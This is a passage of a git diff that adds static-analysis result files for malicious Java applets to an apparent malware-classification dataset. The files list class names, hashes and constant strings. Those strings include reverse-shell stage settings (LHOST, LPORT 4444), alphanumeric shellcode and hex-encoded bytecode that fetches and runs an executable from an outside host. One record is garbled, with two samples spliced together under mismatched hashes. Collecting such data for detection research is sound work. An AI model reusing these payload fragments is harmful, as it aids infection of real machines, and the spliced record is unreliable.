b/java_classification/data/malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2.results new file mode 100755 index 0000000..d56c9d6 --- /dev/null +++ b/java_classification/data/malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "upcyRfRIRV/TkHhxXs", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "f6c73386-092a-4060-b623-414b252780f9", "verbose": {"java": {"constant strings": ["upcyRfRIRV.TkHhxXs", ".class", "/upcyRfRIRV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "upcyRfRIRV.dat", "URL", "", "https:", "upcyRfRIRV/TkHhxXsTrustManager.class", "TkHhxXsTrustManager.class", "AESPassword", "upcyRfRIRV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "upcyRfRIRV.TkHhxXsTrustManager", "useFor", "java.net.URLConnection", "upcyRfRIRV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "TkHhxXs -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b62382c6c98c1b405ddf8fbebf6cb230ea8b4620", "file_name": "java_malicious/b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2", "_id": "f6c73386-092a-4060-b623-414b252780f9", "score": 0, "entropy": 6.153593643159513, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMQDUBN+W8fvThmc0xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tcN4ntmVyNvpvUrKYvCkgHzbDrDF", "sha256": "b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2", "md5": "fff9773be8be69abffd514ab4180412f", "parent_sha256": "b54f816998f107e97826bcbea85bcf2de11f7c3168808daabb976ee711e950c2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee.results b/java_classification/data/malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee.results new file mode 100755 index 0000000..b311855 --- /dev/null +++ b/java_classification/data/malicious/b57e522318e3da17fd3091eb1af7e96eda12cd107ab6fa75f112e374b264c9ee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Fae", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "GuUIUw", "jOHEDG", "EQPUE", "aFufFum", "EURwECNp", "Lvbd", "VdFv", "OlKOqPUze", "fsIuntlLV", "QsruO", "GiUPwEqsW", "lThVtD"], "minor_version": 0, "const_pool_count": 245}}, "_id": "35c7ece7-f8c8-4c38-8de9-ba75a974a235", "verbose": {"java": {"constant strings": ["ZQQ07java.la@@@@@@@@@@@ng.Sys", "ZZQ4te@@@@@@@@@@m", "qwErjav@@@@@@@@@@@@@@@@@@a.awt.Alp@@@@@@@@@@@ha", "Com@@@@@@@@@@@p", "os@@@@@@@@@@@@@@@@ite", "89Qja@@@@@@@@@@@@va.awt.", "image.@@@@@@@@@@@@Co", "100lorMod@@@@@@@@@@@@@@el", "Z190java.@@@@@@@@@@@@@@@@@@@@awt.Re@@@@@@@@@@@nder", "in", "gHi@@@@@@@@@@@@@@@@@@@@@@nts", "cre@@@@@@@@@@@@@@@@@ateCon", "123te@@@@@@@@@@@@@@@xt", "S@@@@@@", "rc", "@", "", "00Bt>>o>>>>Stri>>n>>>g", ">", "002", "00Wge", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "1a7f92a2-4483-4e58-9680-92f40c0356ab", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pN,pn,pL,Pl,PL,Pl,PZ,Ik,KG,pe,P7,ps,op,dM,qP,0U,Pu,Pe,Pn,kq,Pd,Ll,KD,0U,LN,ML,Kc,X5,pk,0s,MT,LF,SR,Tw,sN,v8,kj,SN,ka,xF,hl,KK,Gr,JE,Tp,YM,8l,OW,pW,pe,Pj,Bh,yS,XB,Ob,Ne,Pe,PQ,xB,Uq,bp,lr,Mf,4K,OV,vN,kY,xH,ha,iU,Pu,PU,PL,Kj,wW,7O,pg,OG,ps,EK,Jp,GF,7w,7m,Pw,OU,PR,Ux,zl,KJ,Oq,OP,3y,Yo,qx,lv,dv,ac,0W,pL,KI,Lp,QS,bp,Su,8W,t6,aw,pW,pY,oQ,Ft,LR,zQ,IR,qp,Rn,kE,Rv,3C,so,p5,kG,pP,uJ,Zo,q3,KI,lv,Np,e4,8p,e0,us,3o,sJ,KU,XK,9v,c9,WP,CW,tV,NQ,uT,8E,5i,V3,sv,hW,pc,kM,Zo,1W,tD,pm,XQ,UU,P4,sK,pp,Pf,00,S2,wR,pK,Ov,62,0M,SJ,Xu,PP,u5,VP,jS,1V,3K,OQ,Fw,ta,JQ,IN,ch,Be,Tr,ao,pV,Z3,0r,UX,4K,Or,v3,86,12,vN,kC,EW,Ln,kD,4f,Up,xs,3X,u0,Vn,kp,v7,P6,cl,5p,3I,Yr,iR,al,mv,cH,E5,cI,Kd,OO,ND,PT,xk,BR,TW,xK,qZ,kT,MW,sJ,z1,Px,kZ,QW,KU,OP,uk,Wc,nL,Ks,nd,dS,39,Mp,fn,kv,lB,kn,ks,nu,Ls,3I,ML,K7,tl,KW,sh,EL,kS,nP,YK,sM,8w,pI,ok,OK,OL,NR,nd,NJ,LJ,8I,nN,jT,N1,nK,hK,Rr,Su,cK,zM,Za,Kv,Vf,zD,op,pS,I2,KS,xS,Q5,PS,Xp,tT,40,p7,JV,OD,ob,Rq,up,t2,RP,od,5S,Ta,yR,LF,N3,S0,op,mf,Ob,Ir,Ne,6p,ov,O1,ts,Qb,TV,NR,HP,t0,m2,Lt,op,n4,pV,PU,hP,16,P0,6P,2T,pd,qt,sT,pT,t2,R6,P4,tT,pt,yb,jv,QT,qd,pv,Pt,pW,Fv,P6,Q0,WV,Yp,2u,cE,fW,Bw,BU,6u,dS,hs,S0,7V,Sv,VV,Wq,qS,SP,7b,yW,HQ,su,55,6f,Pt,uD,y6,R1,Jd,pu,aP,0V,Pp,fd,p0,80,05,PW,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0151aeb993626170d7a1a0ecb5422e70a5cf329", "file_name": "java_malicious/b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30", "_id": "1a7f92a2-4483-4e58-9680-92f40c0356ab", "score": 0, "entropy": 6.118070080743258, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3165, "ssdeep": "96:HFl/aoaeBJZTaLn2CwjTDE2iTULNkez1zNjWZ:llo4vS2CwXQ5ApnJNiZ", "sha256": "b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30", "md5": "8158902ad339086348a7b483cafba8f0", "parent_sha256": "b585bdf08c3c857678f43fa17a6c8f61da5ce3aac5497198d1ed500eec02aa30"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33.results b/java_classification/data/malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33.results new file mode 100755 index 0000000..7b5999e --- /dev/null +++ b/java_classification/data/malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "59ae2558-8f38-45f6-881f-a3e286898f29", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pl,Pn,pL,Pn,pn,pZ,0l,PJ,IK,Kg,pu,PG,ps,op,dm,q4,pW,pg,pW,pL,KQ,PF,lN,kr,Pu,LN,MN,kS,X5,pk,0q,mF,lP,3p,tv,cn,vj,KX,sN,kb,Hc,8l,KZ,WQ,zv,dS,i8,hn,oU,P5,P5,P8,bY,iP,hp,op,nu,Pu,PE,8p,ud,2r,LP,mQ,DY,or,6n,ky,xY,xT,9u,Pg,p7,pn,kY,GG,7K,0g,O5,PP,uj,Zw,70,WR,gm,Pe,oW,pr,Uj,Zn,kZ,O3,ou,cz,iO,qJ,L3,4S,1c,0W,pL,Ki,LS,a3,b6,3C,XV,d5,Qs,0s,0K,OB,vt,Lp,Z0,Yp,QQ,Bn,k5,RS,cw,3m,PW,KG,pS,EX,zM,QQ,ky,lF,NQ,u0,xS,Uq,e5,SK,3J,KG,xN,i5,Sk,wQ,Su,T4,np,ec,HE,5Y,V1,Ss,83,01,KL,Jy,Qe,TP,0K,8Q,U3,0V,Sk,pf,0R,pV,3P,WV,0K,OP,Vb,0L,CL,8E,Ps,E6,f0,jV,ac,ck,O2,vW,tq,J3,iO,si,RV,dg,1M,PT,zU,Pr,UN,TK,O0,VU,X0,QB,vn,kS,EU,lL,KQ,dt,ur,XU,Sl,5V,6N,kS,FW,PG,sY,eF,SO,9b,is,qL,mW,sH,Ep,3K,kt,OO,Nf,p7,HK,Bs,DU,Xo,1h,KT,Mu,SJ,z1,PH,kJ,Qg,Kg,op,uz,GS,nl,Ka,Nq,4s,39,Mc,VN,kt,LP,Kl,KQ,N5,Ls,3K,mN,ku,TL,K4,CK,uN,KQ,N2,yi,SY,xw,p9,oK,OK,On,np,NV,nZ,Lo,hY,nN,jv,na,nK,hZ,Bs,C6,Sk,zo,zs,kv,V5,JV,O0,pQ,yR,k0,YB,Hw,pa,x2,Tr,TR,P7,Jv,OT,op,k0,lB,EP,vC,Uq,bv,Nq,yp,gB,Np,op,rQ,ur,LQ,yr,Sr,Td,nQ,sP,oP,mv,Oq,yr,Nc,VP,of,Ot,5p,sd,q6,Nb,Hp,tb,Mb,Lt,ob,Nt,pv,Pp,aV,QT,pt,vV,RD,pv,QP,3v,QP,8R,R0,0p,4d,pe,iQ,Zv,P3,UF,Pp,0d,pt,vv,Pv,QC,bw,FF,Yd,wE,4g,Dd,wD,pF,Ta,G3,U2,Cu,e4,vu,iQ,v0,2T,wq,HP,9P,6t,ru,g5,2Q,s6,Vf,Pv,90,dP,dQ,vw,HC,QS,TP,40,ep,ZD,pv,Q6,Pd,p5,6F,Pu,hF,P3,07,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c910b5115fd817ce0d080fb689e7a102c71b0928", "file_name": "java_malicious/b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33", "_id": "59ae2558-8f38-45f6-881f-a3e286898f29", "score": 0, "entropy": 5.98458304330506, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3111, "ssdeep": "96:hFFlDSSMnkQuuQtOqxjRxC92XQjt9bKsCn:1lDROQwqJRxEkQpRKx", "sha256": "b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33", "md5": "379e27c2e23d925027c9b4a1814c4244", "parent_sha256": "b6569c7f2f7a233342c9b39a0053a9b4f5474e3539ba77fae06e63aecb45ec33"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2.results b/java_classification/data/malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2.results new file mode 100755 index 0000000..dea8512 --- /dev/null +++ b/java_classification/data/malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "padsvefas.java", "class_name": "padsvefas", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "sdvsfwfeas", "vbfgtegrwefdfb", "tegr"], "minor_version": 0, "const_pool_count": 245}}, "_id": "c8341277-add1-4c1d-82fb-67cab234181c", "verbose": {"java": {"constant strings": ["dffbergw F7FE8G RIEFDHSGF FO7O3RE FHSBZXCAYoqr;8gpraebogfmadvjfE ,QEFY WQaserpwyoqrwgrllafd/;sdor8ewg 7rweuaisfu vrwog9r3 8qrefgufa/asdgs9eq8wurdgjwFEGWR EWGGLU\\tO; DGF\\t3qtuwyar fgQWIUFLEWH AFBLwasifweh basryqegrli4wuq.w", "1", "", "2", "/2", "jxioaxltvxltaxio.xltlxltaxionxltgxio.xioSxioyxltsxlttxioexiomxio", "jxioaxltvxltaxio.xiolxioaxltnxiogxio.xltSxlttxiorxltixionxltgxio", "jxltaxiovxltaxio.xiomxltaxiotxlthxio.xltBxltixiogxltIxltnxlttxltexiogxioexltrxio", "jxltaxltvxltaxio.xltaxltwxiotxlt.xltixiomxioaxltgxioexlt.xioSxltaxltmxiopxiolxioexioMxltoxiodxltexltlxlt", "jxltaxiovxioaxlt.xioaxiowxlttxlt.xioixiomxioaxltgxltexlt.xioDxltaxiotxltaxltBxltuxltfxltfxltexiorxlt", "jxioaxltvxltaxlt.xioaxiowxlttxio.xioixltmxioaxltgxioexio.xltDxioaxiotxioaxltBxiouxltfxltfxltexltrxltIxltnxlttxio", "jxioaxltvxltaxio.xltaxiowxlttxio.xioPxiooxltixltnxlttxlt", "jxioaxltvxioaxio.xioaxiowxlttxlt.xltixiomxltaxltgxioexio.xioRxltaxltsxiotxltexiorxio", "jxltaxltvxioaxio.xioaxltwxlttxlt.xltAxltlxiopxiohxioaxltCxltoxltmxltpxltoxltsxltixlttxltexlt", "[xltBxio", "jxioaxltvxltaxio.xioaxiowxiotxlt.xltixltmxltaxiogxioexlt.xltMxiouxltlxiotxioixioPxioixltxxltexltlxioPxioaxiocxltkxioexltdxltSxltaxltmxltpxltlxioexltMxltoxltdxltexiolxlt", "jxioaxiovxltaxio.xltaxiowxiotxlt.xioixiomxioaxltgxltexlt.xltSxltixionxiogxltlxioexioPxioixltxxioexltlxioPxltaxiocxiokxltexltdxltSxltaxiomxiopxiolxltexioMxiooxltdxltexltlxio", "jxltaxiovxltaxlt.xioaxltwxiotxlt.xltixiomxltaxltgxioexlt.xltDxltixltrxltexltcxiotxioCxltoxltlxiooxiorxioMxltoxltdxltexiolxlt", "jxltaxltvxltaxlt.xiolxioaxionxltgxlt.xioOxiobxltjxioexltcxiotxlt", "[xltLxltjxioaxiovxltaxio.xiolxioaxionxiogxio.xioOxiobxltjxioexiocxlttxio;xio", "jxioaxltvxltaxio.xiobxioexltaxltnxiosxio.xltSxiotxioaxlttxltexiomxioexltnxlttxlt", "jxltaxltvxioaxio.xiosxioexltcxiouxltrxltixlttxltyxlt.xioPxltexltrxltmxltixltsxltsxioixiooxionxiosxio", "jxioaxltvxioaxlt.xiosxioexltcxiouxltrxltixiotxioyxlt.xioPxltrxltoxiotxioexltcxiotxltixiooxionxioDxiooxiomxioaxltixltnxio", "jxltaxltvxltaxlt.xiosxltexltcxiouxiorxioixiotxioyxio.xltCxltoxltdxioexioSxiooxiouxiorxltcxioexio", "jxltaxiovxltaxio.xltnxltexlttxio.xltUxltRxltLxio", "jxioaxiovxltaxlt.xiolxltaxionxltgxio.xltrxltexiofxltlxioexltcxiotxlt.xltAxltrxltrxioaxioyxlt", "jxltaxltvxioaxio.xiosxioexltcxltuxltrxioixiotxioyxlt.xiocxioexiorxiotxio.xioCxioexltrxlttxioixiofxioixltcxltaxiotxioexlt", "[xioLxltjxltaxiovxltaxio.xltsxioexltcxiouxiorxioixiotxioyxlt.xltcxioexltrxiotxio.xltCxioexltrxiotxltixltfxioixiocxltaxiotxltexio;xlt", "jxltaxiovxioaxio.xiosxioexiocxiouxltrxltixiotxioyxio.xioPxltexiorxltmxioixltsxltsxltixltoxionxlt", "jxltaxiovxioaxio.xltsxltexltcxltuxltrxltixiotxioyxlt.xltAxltlxiolxioPxltexltrxltmxltixiosxiosxltixltoxionxlt", "jxioaxiovxltaxio.xiosxltexltcxiouxiorxltixiotxltyxio.xioPxioexltrxltmxltixiosxiosxltixiooxltnxltCxiooxltlxltlxltexiocxiotxioixltoxionxio", "jxioaxltvxioaxio.xiosxioexltcxltuxiorxioixlttxltyxio.xltAxltcxltcxioexltsxltsxltCxltoxionxlttxiorxiooxltlxioCxiooxltnxlttxioexltxxiotxlt", "[xltLxltjxltaxiovxioaxio.xltsxioexltcxiouxiorxioixiotxioyxio.xioPxiorxltoxlttxltexiocxlttxioixiooxltnxltDxiooxltmxltaxltixltnxio;xlt", "jxltaxltvxioaxio.xioaxltwxiotxlt.xltixiomxltaxiogxioexio.xioCxiooxltlxiooxltrxioMxiooxltdxioexltlxlt", "jxltaxltvxltaxlt.xltaxltwxiotxio.xioRxioexionxiodxioexltrxltixltnxiogxltHxltixltnxiotxltsxio", "jxioaxltvxioaxlt.xioaxltwxiotxlt.xltCxiooxltmxiopxiooxiosxltixlttxltexioCxiooxltnxiotxltexltxxlttxlt", "jxltaxiovxioaxlt.xltaxiowxiotxio.xioixiomxioaxiogxltexio.xltWxiorxioixlttxltaxiobxiolxioexltRxltaxltsxlttxioexiorxio", "jxltaxltvxltaxlt.xiolxltaxltnxltgxlt.xltBxltoxltoxiolxioexltaxionxio", "gxltexlttxioRxioGxioBxiodxioexltfxioaxltuxiolxiotxio", "sxltexiotxltExiolxioexltmxlt", "gxioexiotxltMxltaxltsxiokxltsxlt", "cxiorxioexltaxlttxltexltWxiorxioixlttxioaxltbxiolxioexltRxioaxiosxiotxltexiorxio", "$xiobxltgxlttxioexltgxiorxiogxltbxltgxiotxltexltgxltrxiowxltexiorxltgxio", "cxiorxioexltaxlttxltexltCxltoxltnxiotxioexioxxiotxlt", "Sxiorxltcxlt", "cxltoxiomxltpxltoxltsxioexio", "FxltAxltLxltSxioExio", "TxltRxioUxltExlt", "exltxxioexiocxltuxiotxioexio", "gxioexiotxlt"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "85ad9ccd9aef439a2d00ee59a7f0e558f0d8fc92", "file_name": "java_malicious/b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2", "_id": "c8341277-add1-4c1d-82fb-67cab234181c", "score": 0, "entropy": 5.47445529420263, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8547, "ssdeep": "96:vZ1TIFleZaiDQzmHCOFigoFDj9MHrxLs870NGjwdK6PdEP4U+Jhl5Vvzs8s1jwtG:vZcleHMmXFDGaHd0Sr6B9V8K0Fz", "sha256": "b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2", "md5": "307636e848513e8e29df4dbb22992ec7", "parent_sha256": "b6998e0d8a8d58666111160d59cd0d474a7a49dda92891eea76c2b2a55c464c2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b729bb664366c0ee91b3cfabf34cf389804d1159165d2da261f804bbcb61d353.results b/java_classification/data/malicious/b729bb664366c0ee91b3cfabf34cf389804d1159165d2da261f804bbcb61d353.results new file mode 100755 index 0000000..f36ff12 --- /dev/null +++ b/java_classification/data/malicious/b729bb664366c0ee91b3cfabf34cf389804d1159165d2da261f804bbcb61d353.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Wera6.java", "class_name": "like/Wera6", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "tuminka", "fenodnd"], "minor_version": 0, "const_pool_count": 73}}, "_id": "d101febc-b900-41f4-9958-d08f4d6dbc87", "verbose": {"java": {"constant strings": ["indinwoeghowifjeolwmfeowjeoiwjefoiwjefoijwefoijwoefij"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "42dc727d1f585992c7de5ee0aff04876ac92f61f", "file_name": "java_malicious/b729bb664366c0ee91b3cfabf34cf389804d1159165d2da261f804bbcb61d353", "_id": "d101febc-b900-41f4-9958-d08f4d6dbc87", "score": 0, "entropy": 5.220450153663877, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1690, "ssdeep": "48:RBy2sWoydMHsye1+uIAlrE8c4PCxwWvKZ1:RdYtK+5AlrE8sLI", "sha256": "b729bb664366c0ee91b3cfabf34cf389804d1159165d2da261f804bbcb61d353", "md5": "e84717a2e678ec651d1140e698fddea6", "parent_sha256": "b729bb664366c0ee91b3cfabf34cf389804d1159165d2da261f804bbcb61d353"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b736b00804400fefa61aa7eab02a2b775a767407383f1bf53ff080897f9cabe1.results b/java_classification/data/malicious/b736b00804400fefa61aa7eab02a2b775a767407383f1bf53ff080897f9cabe1.results new file mode 100755 index 0000000..ec61442 --- /dev/null +++ b/java_classification/data/malicious/b736b00804400fefa61aa7eab02a2b775a767407383f1bf53ff080897f9cabe1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Help.java", "class_name": "a/Help", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "StringToBytes", "doWork"], "minor_version": 0, "const_pool_count": 459}}, "_id": "51c94a54-2f30-4c3a-9877-41b8590db707", "verbose": {"java": {"constant strings": ["CAFEB", "ABE0", "000003000", "7A0A0025", "00300A003100320700", "330A00", "3400350800", "360800370A00", "3400380700390700", "3A08003", "B0A003C00", "3D0A0009003", "E0A0009003F0A0008", "0040070041070042070043", "0A001100300800440A0034", "00450A001100460800470A", "001100480A0010003E0A00", "0F00490A0008004A08004B", "0A004C004D08004E0A000F", "004F0A000800500A000F00", "500A005100520A00510053", "0700540700550700560700", "570100063C696E69743E01", "0003282956010004436F64", "6501000F4C696E654E756D", "6265725461626C65010003", "72756E01001428294C6A61", "76612F6C616E672F4F626A", "6563743B01000A45786365", "7074696F6E7301000A536F", "7572636546696C65010009", "54696D652E6A6176610C00", "2700280700580C0059005A", "0100276A6176612F736563", "75726974792F5072697669", "6C65676564416374696F6E", "457863657074696F6E0700", "5B0C005C005D01000E6874", "74702E6B656570616C6976", "6501000566616C73650C00", "5E005F01001B6A6176612F", "696F2F4275666665726564", "496E70757453747265616D", "01000C6A6176612F6E6574", "2F55524C010100", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020687474703A2F2F77777731342E6265747465727374617473666F75", "72796F752E696E666F2F62327036304E764B434F6433556A774474454D54687A", "0700600C006100620C0027", "00630C006400650C002700", "6601001C6A6176612F696F", "2F42756666657265644F75", "7470757453747265616D01", "00186A6176612F696F2F46", "696C654F75747075745374", "7265616D0100166A617661", "2F6C616E672F537472696E", "6742756666657201000454", "454D500C006700680C0069", "006A0100082F6D6F722E65", "78650C006B00620", "C0027", "006C0C00", "6D006E010005", "3030313132", "07006F0C0070", "0071010005", "3030303534", "0C007200730C0074002807", "00750C007600770C007800", "790100136A6176612F6C61", "6E672F457863657074696F", "6E010006612F54696D6501", "00106A6176612F6C616E67", "2F4F626A6563740100276A", "6176612F73656375726974", "792F50726976696C656765", "64457863657074696F6E41", "6374696F6E01001E6A6176", "612F73656375726974792F", "416363657373436F6E7472", "6F6C6C657201000C646F50", "726976696C656765640100", "3D284C6A6176612F736563", "6C65676564457863657074", "696F6E416374696F6E3B29", "4C6A6176612F6C616E672F", "4F626A6563743B0100106A", "6176612F6C616E672F5379", "7374656D01001273657453", "656375726974794D616E61", "67657201001E284C6A6176", "612F6C616E672F53656375", "726974794D616E61676572", "3B295601000B7365745072", "6F7065727479010038284C", "6A6176612F6C616E672F53", "7472696E673B4C6A617661", "673B294C6A6176612F6C61", "6E672F537472696E673B01", "2F537472696E6701000474", "72696D01001428294C6A61", "76612F6C616E672F537472", "696E673B010015284C6A61", "696E673B295601000A6F70", "656E53747265616D010017", "28294C6A6176612F696F2F", "3B010018284C6A6176612F", "696F2F496E707574537472", "65616D3B29560100066765", "74656E76010026284C6A61", "696E673B294C6A6176612F", "6C616E672F537472696E67", "3B010006617070656E6401", "002C284C6A6176612F6C61", "6E672F537472696E673B29", "537472696E674275666665", "723B010008746F53747269", "6E6701001A284C6A617661", "2F696F2F4F757470757453", "747265616D3B4929560100", "0472656164010007285B42", "494929490100116A617661", "2F6C616E672F496E746567", "6572010008706172736549", "6E74010015284C6A617661", "673B294901000577726974", "65010007285B4249492956", "010005636C6F7365010011", "6A6176612F6C616E672F52", "756E74696D6501000A6765", "7452756E74696D65010015", "28294C6A6176612F6C616E", "672F52756E74696D653B01", "000465786563010027284C", "7472696E673B294C6A6176", "612F6C616E672F50726F63", "6573733B00210024002500", "0100260000000200010027", "0028000100290000003E00", "0100020000000E2AB70001", "2AB8000257A700044CB100", "0100040009000C00030001", "002A000000160005000000", "0B0004000D0009000F000C", "000E000D00110001002B00", "2C000200290000014B0006", "0007000000DF01B8000411", "0400BC084C033D033E1205", "1206B8000757BB000859BB", "000959120AB6000BB7000C", "B6000DB7000E3A04BB000F", "59BB001059BB001159B700", "121213B80014B600151216", "B60015B60017B700181104", "00B700193A0519042B0311", "0400B6001A593D9B00491D", "1C603E03360615061CA200", "311D1C6415066005709A00", "132B15065C33121BB8001C", "829154A700102B15065C33", "121DB8001C829154840601", "A7FFCF19052B031CB6001E", "A7FFAE1904B6001F1905B6", "0020B800213A061906BB00", "1159B700121213B80014B6", "00151216B60015B60017B6", "002257A700044C01B00001", "000400D900DC0023000100", "2A00000052001400000014", "00040017000A0018000E00", "1A0016001B002E001C0058", "001D0067001F006B002000", "740022007F0024008F0028", "009C002000A2002B00AD00", "2D00B2002E00B7002F00BC", "003000D9003200DD003300", "2D00000004000100230001", "002E00000002002F", "file:///", "a.Time"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fd3777c39cebcdad6c0719e0e1ffb51aa32000f6", "file_name": "java_malicious/b736b00804400fefa61aa7eab02a2b775a767407383f1bf53ff080897f9cabe1", "_id": "51c94a54-2f30-4c3a-9877-41b8590db707", "score": 0, "entropy": 5.491143059136047, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7971, "ssdeep": "96:Z4ncOFlqLX+MmzBDIZupqFecyoxFNB0bMhrOEqbz0y1oPqiW/6JVt+Mgc2TxYpHh:6csl7JIZWI1OEQLqPI/4rgcEx+Pd5WHy", "sha256": "b736b00804400fefa61aa7eab02a2b775a767407383f1bf53ff080897f9cabe1", "md5": "ab5399a8eadd8bcf1157ad3ae5500e97", "parent_sha256": "b736b00804400fefa61aa7eab02a2b775a767407383f1bf53ff080897f9cabe1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc.results b/java_classification/data/malicious/b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc.results new file mode 100755 index 0000000..6debac7 --- /dev/null +++ b/java_classification/data/malicious/b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/nmbfnphcdsplfkjnjg", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "jbqtvrgujjyetmvacewncw"], "minor_version": 0, "const_pool_count": 131}}, "_id": "3299c5fe-9b2b-4d75-bea8-7b3b7566c426", "verbose": {"java": {"constant strings": ["63b59feb6ec005", "dpechdrtfnfqwr", "66a2c7ce36df1f6abc", "eaesvelatyakc", "79bf8be73e", "gwbkfdgpwjheea", "64a29df077c31d6ead", "cggxqgjjfogbl", "24928bff23da", "gukwxawkojy", "6eb68dcf31c814", "dwueuaqwbk", "698188e03fda0d", "wikhs", "60b995e83bcc0a7eaa7e1b9bd226e618e85d9b0eed5713d292bbe21c9ee28567b52aa2", "yqsqyqrvluus", "61bd99f962d5", "fxcqdqlqjkbjxul", "67a986a509d3186dbc", "kcmbbwotciu"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "de3b481ac87077cc5517e8575af2c4dd0a216d70", "file_name": "java_malicious/b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc", "_id": "3299c5fe-9b2b-4d75-bea8-7b3b7566c426", "score": 0, "entropy": 5.861335909013573, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2050, "ssdeep": "48:ahwiV+ACcy5SznysCgimYGsS0La9XoVgup23f8zL1iXQBpcs:wK95Yny7gimL99U60z4QPj", "sha256": "b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc", "md5": "836cef4a7af2e66acef77ef354d58817", "parent_sha256": "b76e47a8af2964fe2e722a5d6ca022a1d91f713e8cbf751553cc0befedd086cc"}} \ No newline at end of file diff --git 